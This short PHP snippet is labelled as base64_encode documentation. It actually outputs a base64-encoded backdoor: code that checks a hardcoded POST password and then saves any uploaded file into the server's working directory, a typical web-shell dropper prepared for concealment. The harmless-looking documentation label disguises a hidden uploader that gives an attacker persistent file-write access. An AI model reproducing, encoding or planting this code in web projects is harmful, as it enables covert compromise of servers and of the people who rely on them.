- base64_encode: documentation ( source)
<?php
echo base64_encode('if(!isset($_POST[\'password\'])||$_POST[\'password\']!==\'d2cfcb745a74ab8ccdcd9e1e63e534d2\')die;$path=getcwd().\'/\'.basename($_FILES[\'file\'][\'name\']);if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$path)){echo \'Ok\';}');